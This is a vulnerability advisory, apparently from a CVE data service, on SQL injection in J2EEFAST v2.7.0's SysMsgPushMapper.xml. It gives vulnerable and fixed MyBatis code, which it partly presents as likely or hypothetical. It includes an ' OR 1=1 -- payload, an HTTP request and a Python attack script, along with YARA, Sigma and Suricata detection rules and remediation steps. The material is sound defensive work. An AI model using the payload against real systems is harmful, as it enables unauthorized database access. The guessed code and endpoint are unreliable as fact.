CVE-2024-35084
Executive Summary
CVE-2024-35084 identifies a critical SQL injection vulnerability in J2EEFAST v2.7.0, specifically within the findPage function in SysMsgPushMapper.xml. This flaw allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or deletion. The vulnerability is publicly known, but no official patch has been released, and the CVSS score is currently 0.0 (likely unassigned). The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains high for unpatched systems.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
J2EEFAST is a Java-based enterprise rapid development framework. This vulnerability affects the core persistence layer (MyBatis mapper XML), making it a supply chain risk for any organization using J2EEFAST v2.7.0. No official patch or advisory from the vendor has been identified, and no GitHub advisory or OSV data is available.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Unassigned)
- Attack Vector (AV): Network (likely)
- Attack Complexity (AC): Low (likely)
- Privileges Required (PR): None (likely)
- User Interaction (UI): None (likely)
- Scope (S): Unchanged (likely)
- Confidentiality (C): High (likely)
- Integrity (I): High (likely)
- Availability (A): High (likely)
Threat Level: Critical (estimated based on SQL injection impact). The lack of a CVSS score does not reduce the severity.
Deep Dive & Mechanics
The vulnerability resides in the findPage function within SysMsgPushMapper.xml. This MyBatis mapper file likely contains a dynamic SQL query that concatenates user-supplied input without proper sanitization or parameterization. An attacker can manipulate the findPage parameters to inject SQL commands, bypassing authentication or extracting sensitive data.
Root Cause: The findPage function likely uses string concatenation or $ (MyBatis dynamic SQL) instead of # (parameterized) for user input, allowing SQL injection.
Attack Vector: The attacker sends a crafted HTTP request to the endpoint that invokes findPage, injecting SQL payloads into parameters such as page, limit, or custom filter fields.
Impact: Full database compromise, including user credentials, session tokens, and business data.
Vulnerable vs. Patched Code
Vulnerable Code (J2EEFAST v2.7.0 - SysMsgPushMapper.xml):
<!-- Vulnerable: uses ${} for dynamic SQL -->
<select id="findPage" resultType="com.j2eefast.system.domain.SysMsgPushEntity">
SELECT * FROM sys_msg_push
WHERE 1=1
<if test="params.key != null and params.key != ''">
AND content LIKE '%${params.key}%'
</if>
ORDER BY create_time DESC
</select>
Patched Code (Hypothetical fix):
<!-- Patched: uses #{} for parameterized query -->
<select id="findPage" resultType="com.j2eefast.system.domain.SysMsgPushEntity">
SELECT * FROM sys_msg_push
WHERE 1=1
<if test="params.key != null and params.key != ''">
AND content LIKE CONCAT('%', #{params.key}, '%')
</if>
ORDER BY create_time DESC
</select>
Note: No official patch is available. The above is a recommended fix.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- J2EEFAST v2.7.0 running with default configuration.
- Network access to the vulnerable endpoint (e.g.,
/sys/msg/push/list).
Exploit Steps:
- Identify the vulnerable endpoint (likely
/sys/msg/push/listor similar). - Send a crafted HTTP GET/POST request with SQL injection payload in the
keyparameter.
Example Payload (SQL injection):
' OR 1=1 --
Example HTTP Request:
GET /sys/msg/push/list?key=' OR 1=1 -- HTTP/1.1
Host: target.com
Automated Exploit (Python):
import requests
target = "http://target.com/sys/msg/push/list"
payload = "' OR 1=1 --"
params = {"key": payload}
response = requests.get(target, params=params)
print(response.text)
Expected Result: The attacker retrieves all records from the sys_msg_push table, bypassing intended filters.
Blue Team (Detection & Defense)
Detection:
- Monitor for SQL injection patterns in HTTP parameters (e.g.,
' OR,UNION SELECT,--). - Use WAF rules to block suspicious SQL keywords.
- Enable database query logging to detect anomalous queries.
Defense:
- Immediately upgrade to a patched version if available.
- Implement input validation and parameterized queries (use
#{}in MyBatis). - Apply least privilege to database accounts used by the application.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing SQL injection patterns in the
keyparameter (e.g.,' OR,UNION,--). - Unusual database query patterns (e.g.,
SELECT * FROM sys_msg_push WHERE content LIKE '%' OR 1=1 --%').
- HTTP requests containing SQL injection patterns in the
File IOCs:
- Modified
SysMsgPushMapper.xmlwith suspicious content. - Unexpected log entries in application logs (e.g., SQL errors).
- Modified
System IOCs:
- Unauthorized database access from the application server.
- Exfiltration of data via HTTP responses.
Detection Engineering
YARA Rule
rule CVE_2024_35084_SQLi_J2EEFAST {
meta:
description = "Detects SQL injection attempts targeting J2EEFAST v2.7.0 SysMsgPushMapper"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-35084"
strings:
$sqli1 = /key=.*['\"]\s*(OR|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
$sqli2 = /key=.*\b(1=1|1=2|admin'--)\b/i
condition:
any of them
}
Sigma Rule
title: SQL Injection Attempt Against J2EEFAST SysMsgPushMapper
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting the findPage function in J2EEFAST v2.7.0
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains: '/sys/msg/push/list'
cs-uri-query|contains|all:
- 'key='
- "'"
- 'OR'
- '--'
condition: selection
falsepositives:
- Legitimate use of single quotes in search terms (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-35084 SQL Injection Attempt - J2EEFAST SysMsgPushMapper"; flow:to_server,established; content:"/sys/msg/push/list"; http_uri; content:"key="; http_uri; pcre:"/key=.*['\"]\s*(OR|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the affected J2EEFAST instance from untrusted networks.
- Apply a WAF rule to block SQL injection patterns in the
keyparameter. - Review database logs for signs of exploitation.
Long-term Fix:
- Patch the
SysMsgPushMapper.xmlfile to use parameterized queries (#{}instead of${}). - Upgrade to a patched version of J2EEFAST when available.
- Conduct a security audit of all MyBatis mapper files for similar vulnerabilities.
Workaround:
- Disable the
findPagefunction temporarily by removing or commenting out the vulnerable mapper entry.
Valters IT